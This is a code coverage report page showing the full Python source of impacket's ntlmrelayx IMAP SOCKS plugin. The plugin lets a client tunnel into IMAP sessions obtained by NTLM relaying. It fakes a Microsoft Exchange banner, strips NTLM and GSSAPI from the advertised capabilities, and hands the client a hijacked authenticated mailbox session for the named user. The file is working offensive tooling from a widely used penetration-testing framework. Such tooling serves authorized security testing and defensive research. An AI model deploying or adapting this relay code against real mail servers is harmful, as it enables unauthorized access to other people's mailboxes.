Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py : 8%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# A Socks Proxy for the IMAP Protocol
8#
9# Author:
10# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11#
12# Description:
13# A simple SOCKS server that proxies a connection to relayed IMAP connections
14#
15# ToDo:
16#
17import base64
19from impacket import LOG
20from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
22# Besides using this base class you need to define one global variable when
23# writing a plugin:
24PLUGIN_CLASS = "IMAPSocksRelay"
25EOL = '\r\n'
27class IMAPSocksRelay(SocksRelay):
28 PLUGIN_NAME = 'IMAP Socks Plugin'
29 PLUGIN_SCHEME = 'IMAP'
31 def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
32 SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
33 self.packetSize = 8192
34 self.idleState = False
35 self.shouldClose = True
37 @staticmethod
38 def getProtocolPort():
39 return 143
41 def getServerCapabilities(self):
42 for key in list(self.activeRelays.keys()):
43 if key != 'data' and key != 'scheme':
44 if 'protocolClient' in self.activeRelays[key]:
45 return self.activeRelays[key]['protocolClient'].session.capabilities
47 def initConnection(self):
48 pass
50 def skipAuthentication(self):
51 self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL)
53 # Next should be the client requesting CAPABILITIES
54 tag, cmd = self.recvPacketClient()
55 if cmd.upper() == 'CAPABILITY':
56 clientcapabilities = list(self.getServerCapabilities())
57 # Don't offer these AUTH options so the client won't use them
58 blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED']
59 for cap in blacklist:
60 if cap in clientcapabilities:
61 clientcapabilities.remove(cap)
63 # Offer PLAIN auth for specifying the username
64 if 'AUTH=PLAIN' not in clientcapabilities:
65 clientcapabilities.append('AUTH=PLAIN')
66 # Offer LOGIN for specifying the username
67 if 'LOGIN' not in clientcapabilities:
68 clientcapabilities.append('LOGIN')
70 LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities))
71 self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL))
72 else:
73 LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd)
74 return False
75 # next
76 tag, cmd = self.recvPacketClient()
77 args = cmd.split(' ')
78 if cmd.upper() == 'AUTHENTICATE PLAIN':
79 # Send continuation command
80 self.socksSocket.sendall('+'+EOL)
81 # Client will now send their AUTH
82 data = self.socksSocket.recv(self.packetSize)
83 # This contains base64(\x00username\x00password), decode and split
84 creds = base64.b64decode(data.strip())
85 self.username = creds.split('\x00')[1].upper()
86 elif args[0].upper() == 'LOGIN':
87 # Simple login
88 self.username = args[1].upper()
89 else:
90 LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd)
91 return False
93 # Check if we have a connection for the user
94 if self.username in self.activeRelays:
95 # Check the connection is not inUse
96 if self.activeRelays[self.username]['inUse'] is True:
97 LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % (
98 self.username, self.targetHost, self.targetPort))
99 return False
100 else:
101 LOG.info('IMAP: Proxying client session for %s@%s(%s)' % (
102 self.username, self.targetHost, self.targetPort))
103 self.session = self.activeRelays[self.username]['protocolClient'].session
104 else:
105 LOG.error('IMAP: No session for %s@%s(%s) available' % (
106 self.username, self.targetHost, self.targetPort))
107 return False
109 # We arrived here, that means all is OK
110 self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL))
111 self.relaySocket = self.session.sock
112 self.relaySocketFile = self.session.file
113 return True
115 def tunnelConnection(self):
116 keyword = ''
117 tag = ''
118 while True:
119 try:
120 data = self.socksSocket.recv(self.packetSize)
121 except Exception as e:
122 # Socks socket (client) closed connection or something else. Not fatal for killing the existing relay
123 print((keyword, tag))
124 LOG.debug('IMAP: sockSocket recv(): %s' % (str(e)))
125 break
126 # If this returns with an empty string, it means the socket was closed
127 if data == '':
128 break
129 # Set the new keyword, unless it is false, then break out of the function
130 result = self.processTunnelData(keyword, tag, data)
132 if result is False:
133 break
134 # If its not false, it's a tuple with the keyword and tag
135 keyword, tag = result
137 if tag != '':
138 # Store the tag in the session so we can continue
139 tag = int(tag)
140 if self.idleState is True:
141 self.relaySocket.sendall('DONE%s' % EOL)
142 self.relaySocketFile.readline()
144 if self.shouldClose:
145 tag +=1
146 self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL))
147 self.relaySocketFile.readline()
149 self.session.tagnum = tag+1
151 return
153 def processTunnelData(self, keyword, tag, data):
154 # Pass the request to the server, store the tag unless the last command
155 # was a continuation. In the case of the continuation we still check if
156 # there were commands issued after
157 analyze = data.split(EOL)[:-1]
158 if keyword == '+':
159 # We do send the continuation to the server
160 # but we don't analyze it
161 self.relaySocket.sendall(analyze.pop(0)+EOL)
162 keyword = ''
164 for line in analyze:
165 info = line.split(' ')
166 tag = info[0]
167 # See if a LOGOUT command was sent, in which case we want to close
168 # the connection to the client but keep the relayed connection alive
169 # also handle APPEND commands
170 try:
171 if info[1].upper() == 'IDLE':
172 self.idleState = True
173 elif info[1].upper() == 'DONE':
174 self.idleState = False
175 elif info[1].upper() == 'CLOSE':
176 self.shouldClose = False
177 elif info[1].upper() == 'LOGOUT':
178 self.socksSocket.sendall('%s OK LOGOUT completed.%s' % (tag, EOL))
179 return False
180 elif info[1].upper() == 'APPEND':
181 LOG.debug('IMAP socks APPEND command detected, forwarding email data')
182 # APPEND command sent, forward all the data, no further commands here
183 self.relaySocket.sendall(data)
184 sent = len(data) - len(line) + len(EOL)
186 # https://tools.ietf.org/html/rfc7888
187 literal = info[4][1:-1]
188 if literal[-1] == '+':
189 literalPlus = True
190 totalSize = int(literal[:-1])
191 else:
192 literalPlus = False
193 totalSize = int(literal)
195 while sent < totalSize:
196 data = self.socksSocket.recv(self.packetSize)
197 self.relaySocket.sendall(data)
198 sent += len(data)
199 LOG.debug('Forwarded %d bytes' % sent)
201 if literalPlus:
202 data = self.socksSocket.recv(self.packetSize)
203 self.relaySocket.sendall(data)
205 LOG.debug('IMAP socks APPEND command complete')
206 # break out of the analysis loop
207 break
208 except IndexError:
209 pass
210 self.relaySocket.sendall(line+EOL)
212 # Send the response back to the client, until the command is complete
213 # or the server requests more data
214 while keyword != tag and keyword != '+':
215 try:
216 data = self.relaySocketFile.readline()
217 except Exception as e:
218 # This didn't break the connection to the server, don't make it fatal
219 LOG.debug("IMAP relaySocketFile: %s" % str(e))
220 return False
221 keyword = data.split(' ', 2)[0]
222 try:
223 self.socksSocket.sendall(data)
224 except Exception as e:
225 LOG.debug("IMAP socksSocket: %s" % str(e))
226 return False
228 # Return the keyword to indicate processing was OK
229 return (keyword, tag)
232 def recvPacketClient(self):
233 data = self.socksSocket.recv(self.packetSize)
234 space = data.find(' ')
235 return (data[:space], data[space:].strip())